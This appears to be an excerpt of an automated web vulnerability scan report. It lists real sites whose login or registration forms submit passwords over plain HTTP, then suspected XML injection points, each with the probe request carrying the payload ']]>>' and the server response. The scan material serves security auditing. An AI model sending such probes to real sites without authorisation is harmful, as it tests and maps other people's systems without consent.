
<head>
   <title>SiteJot - Free Online Bookmark Manager/Bookmark Organizer</title>    <link href="main.css" rel="stylesheet" type="t
...[SNIP]...
<td>
                       <form action="login.php" method="POST">
                       <span class="maintext">
...[SNIP]...
<br>
       <input type="PASSWORD" name="l_pass" value="" size="18">
           </td>
...[SNIP]...

7.64. http://www.spiele365.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.spiele365.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.spiele365.com/login.php?return=%2F

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.spiele365.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=1u37onl8uc70chts4qpd19rr0935a9tv; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 24726

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content
...[SNIP]...
<div class="box mpanel">
                       <form action="/login.php?return=%2F" method="post">
           <ol>
...[SNIP]...
</label>
                   <input type="password" name="password" id="password" />
               </li>
...[SNIP]...

7.65. http://www.squidoo.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.squidoo.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.squidoo.com/

The form contains the following password fields:

member_password
member_password_confirmation

Request

GET / HTTP/1.1
Host: www.squidoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 58862
Date: Sun, 06 Feb 2011 16:15:54 GMT
X-Varnish: 1653572215 1652717857
Age: 8603
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
</div>
<form name="registrationForm" id="registrationForm" method="post" onsubmit="UnifiedLogin.validateAndRegisterSquidoo(jQuery(this)); return false;">
<input type="hidden" name="first_name" id="lgn_register_sq_first_name" value="" />
...[SNIP]...
<div class="form_left">
<input type="password" tabindex="3" onkeyup="UnifiedLogin.validatePassword(jQuery(this).parent(), true);"
onblur="UnifiedLogin.validatePassword(jQuery(this).parent(), false);"
id="lgn_register_sq_password" name="member_password" />
</div>
...[SNIP]...
<div class="form_left">
<input type="password" value="" onkeyup="UnifiedLogin.validatePasswordConf(jQuery(this).parent(), true);"
onblur="UnifiedLogin.validatePasswordConf(jQuery(this).parent(), false);"
tabindex="4"
id="lgn_register_sq_verify"
name="member_password_confirmation" />
</div>
...[SNIP]...

7.66. http://www.squidoo.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.squidoo.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.squidoo.com/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.squidoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.67. http://www.stumbleupon.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.stumbleupon.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.stumbleupon.com/login.php

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.stumbleupon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: PHPSESSID=24u7r3p6go09ucekfd3a17uu33; path=/; domain=.stumbleupon.com; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cmf_i=7304903984d4ec93bb9fe79.92359436; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
Set-Cookie: cmf_spr=A%2FN; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
Set-Cookie: cmf_sp=http%3A%2F%2Fwww.stumbleupon.com%2F; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
Set-Cookie: su_c=508ff6044dad7175f31b3193dab47199%7C%7C10%7C%7C1297008955%7C5be234e7f257e317b71d9cccfe3c3c84; expires=Wed, 03-Feb-2021 16:15:55 GMT; path=/; domain=.stumbleupon.com
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
Content-Length: 11515
Date: Sun, 06 Feb 2011 16:15:55 GMT
X-Varnish: 495183581
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="http://www
...[SNIP]...
</a>
               <form action="/login.php" name="formLogin" method="post" id="formLogin">
                   <ul>
...[SNIP]...
</label>
                           <input class="text" type="password" id="passwordHeader" name="password" maxlength="16" />
                           <input class="text hidden" type="text" value="Password" tabindex="0" name="dummyPassword" id="switch" />
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.stylemepretty.com
Path:	/\|http:/stylehive.com\|http:/stylelist.com\|http:/www.outblush.com/\|http:/www.dooce.com/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://circle.stylemepretty.com/wp-login.php

The form contains the following password field:

Request

GET /|http:/stylehive.com|http:/stylelist.com|http:/www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/ HTTP/1.1
Host: www.stylemepretty.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:03:32 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.16
Vary: Cookie,Accept-Encoding
Set-Cookie: wpmp_switcher=desktop; expires=Mon, 06-Feb-2012 16:03:33 GMT; path=/
X-Pingback: http://www.stylemepretty.com/xmlrpc.php
X-Mobilized-By: WordPress Mobile Pack 1.2.0
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:03:33 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 40429

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://
...[SNIP]...
<div id="sign-in">
<form method="post" action="http://circle.stylemepretty.com/wp-login.php">
<input type="submit" value="Log In" id="log-in" name="wp-submit" />
...[SNIP]...
<input type="text" name="log" id="sign-in-username" />
<input type="password" name="pwd" id="sign-in-password" />
<input type="submit" value="Go" id="sign-in-btn" />
...[SNIP]...

7.69. http://www.technotizie.it/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.technotizie.it
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.technotizie.it/login-inside.php

The form contains the following password field:

pass2

Request

GET / HTTP/1.1
Host: www.technotizie.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:01 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=a2fe6d01069a1f823b3db46a2b731463; path=/
Connection: close
Content-Type: text/html
Content-Length: 93569

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</h2>
<form name="miaform2" method="get" action="/login-inside.php" onsubmit="javascript:tryLogin2(); return true;"><ul style="width:400px;text-align:left;">
...[SNIP]...
<li style="margin-top:10px;">Password <input type="password" class="input-text" name="pass2" size="20" value="Password" onclick="this.value=''"/>  <input type="submit" name="submit" value="Accedi" />
...[SNIP]...

7.70. http://www.technotizie.it/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.technotizie.it
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.technotizie.it/register-rev1.php

The form contains the following password field:

user_pass

Request

GET / HTTP/1.1
Host: www.technotizie.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:01 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=a2fe6d01069a1f823b3db46a2b731463; path=/
Connection: close
Content-Type: text/html
Content-Length: 93569

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</div><form name="registerform" action="/register-rev1.php" method="post" ><table class="regtable" style="width:650px;" border="0" cellpadding="4" cellspacing="4" >
...[SNIP]...
<td><input type="password" name="user_pass" class="input-text" /></td>
...[SNIP]...

7.71. http://www.tumblr.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tumblr.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.tumblr.com/register

The form contains the following password field:

user[password]

Request

GET / HTTP/1.1
Host: www.tumblr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:04 GMT
Server: Apache/2.2.3 (CentOS)
P3P: CP="ALL ADM DEV PSAi COM OUR OTRo STP IND ONL"
Vary: Accept-Encoding
X-Tumblr-Usec: D=38877
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27995

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--

.
...[SNIP]...
<div id="register_form_container">
<form method="post" action="http://www.tumblr.com/register" id="register_form" class="register" onsubmit="_h_prep(this); return true;">
<input type="hidden" name="hk" id="hk" value="5c7a587de736de0841ceb87919ff385d7af5af4f 1297008964 071e476393a32da6482bcd3666c3fb4329748732">
...[SNIP]...
</label>
<input type="password" id="user_password" name="user[password]"
data-validation-type="password" value="" />
</div>
...[SNIP]...

7.72. http://www.tumblr.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tumblr.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.tumblr.com/login

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.tumblr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:04 GMT
Server: Apache/2.2.3 (CentOS)
P3P: CP="ALL ADM DEV PSAi COM OUR OTRo STP IND ONL"
Vary: Accept-Encoding
X-Tumblr-Usec: D=38877
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27995

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--

.
...[SNIP]...
<div id="login_form_container">

<form method="post" action="http://www.tumblr.com/login" id="login_form">

<div class="input_wrapper">
...[SNIP]...
</label>
<input type="password" id="login_password" name="password" />
</div>
...[SNIP]...

7.73. http://www.yigg.de/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.yigg.de
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.yigg.de/login

The form contains the following password field:

LoginForm[password]

Request

GET / HTTP/1.1
Host: www.yigg.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.74. http://www1.hilton.com/en_US/hi/customersupport/site-usage.do previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/customersupport/site-usage.do

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www1.hilton.com/doxch.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41?dst=https://HI/en/hi/PFSLogin

The form contains the following password field:

password

Request

GET /en_US/hi/customersupport/site-usage.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.75. http://www1.hilton.com/en_US/hi/index.do previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/index.do

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www1.hilton.com/doxch.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42?dst=https://HI/en/hi/PFSLogin

The form contains the following password field:

password

Request

GET /en_US/hi/index.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.76. http://www1.hilton.com/en_US/hi/index.do previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www1.hilton.com
Path:	/en_US/hi/index.do

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www1.hilton.com/en_US/hi/index.do

The form contains the following password field:

password

Request

GET /en_US/hi/index.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

8. XML injection previous next
There are 93 instances of this issue:

http://amch.questionmarket.com/adsc/d852910/8/40051907/decide.php [REST URL parameter 1]
http://amch.questionmarket.com/adscgen/st.php [REST URL parameter 1]
http://amch.questionmarket.com/adscgen/st.php [REST URL parameter 2]
http://amch.questionmarket.com/kcontent/478/ktag.js [REST URL parameter 1]
http://amch.questionmarket.com/kcontent/478/ktag.js [REST URL parameter 2]
http://amch.questionmarket.com/kcontent/478/ktag.js [REST URL parameter 3]
http://api.tweetmeme.com/button.js [REST URL parameter 1]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 1]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 2]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 3]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 4]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 5]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 1]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 2]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 3]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 4]
http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 5]
http://cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf [REST URL parameter 1]
http://cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf [REST URL parameter 2]
http://cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf [REST URL parameter 3]
http://cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf [REST URL parameter 4]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 1]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 2]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 3]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 4]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 5]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 6]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 1]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 2]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 3]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 4]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 5]
http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Semibold_600.font.js [REST URL parameter 6]
http://coverall.splunk.com/web_assets/v5/homepage [REST URL parameter 1]
http://coverall.splunk.com/web_assets/v5/homepage [REST URL parameter 2]
http://coverall.splunk.com/web_assets/v5/homepage [REST URL parameter 3]
http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.css [REST URL parameter 1]
http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.css [REST URL parameter 2]
http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.css [REST URL parameter 3]
http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.css [REST URL parameter 4]
http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.js [REST URL parameter 1]
http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.js [REST URL parameter 2]
http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.js [REST URL parameter 3]
http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.js [REST URL parameter 4]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css [REST URL parameter 1]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css [REST URL parameter 2]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css [REST URL parameter 3]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css [REST URL parameter 4]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css [REST URL parameter 1]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css [REST URL parameter 2]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css [REST URL parameter 3]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css [REST URL parameter 4]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/favicon16.ico [REST URL parameter 1]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/favicon16.ico [REST URL parameter 2]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/favicon16.ico [REST URL parameter 3]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 1]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 2]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 3]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 4]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js [REST URL parameter 5]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 1]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 2]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 3]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 4]
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js [REST URL parameter 5]
http://edge.quantserve.com/quant.js [REST URL parameter 1]
http://load.exelator.com/load/ [REST URL parameter 1]
http://platform.twitter.com/widgets.js [REST URL parameter 1]
http://platform.twitter.com/widgets/tweet_button.html [REST URL parameter 1]
http://platform.twitter.com/widgets/tweet_button.html [REST URL parameter 2]
http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 1]
http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 2]
http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css [REST URL parameter 2]
http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css [REST URL parameter 3]
http://s.ytimg.com/yt/jsbin/www-embed-vfl4nNnFQ.js [REST URL parameter 2]
http://s.ytimg.com/yt/jsbin/www-embed-vfl4nNnFQ.js [REST URL parameter 3]
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 1]
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 2]
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 3]
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 4]
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js [REST URL parameter 5]
http://splunkbase.splunk.com/apps/All/4.x/ [sort parameter]
http://tools.ietf.org/html/rfc2234] [REST URL parameter 1]
http://tools.ietf.org/html/rfc3492 [REST URL parameter 1]
http://tools.ietf.org/html/rfc3986 [REST URL parameter 1]
http://www.linuxsecurity.com/ads/adjs.php [REST URL parameter 1]
http://www.linuxsecurity.com/ads/adjs.php [REST URL parameter 2]
http://www.linuxsecurity.com/ads/adlog.php [REST URL parameter 1]
http://www.linuxsecurity.com/ads/adlog.php [REST URL parameter 2]
http://www.nmworkwear.de/index.php [REST URL parameter 1]
http://www.peppernews.eu/favicon.ico [REST URL parameter 1]
http://www.traffictrack.de/tracking/mpr.php [REST URL parameter 1]
http://www.traffictrack.de/tracking/mpr.php [REST URL parameter 2]

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.

8.1. http://amch.questionmarket.com/adsc/d852910/8/40051907/decide.php [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://amch.questionmarket.com
Path:	/adsc/d852910/8/40051907/decide.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adsc]]>>/d852910/8/40051907/decide.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-0; CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-1;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:43:46 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=487
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

8.2. http://amch.questionmarket.com/adscgen/st.php [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Issue detail

Request

GET /adscgen]]>>/st.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-0; CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-1;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:43:43 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=975
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

8.3. http://amch.questionmarket.com/adscgen/st.php [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen/st.php]]>> HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-0; CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-1;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:43:46 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=77
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
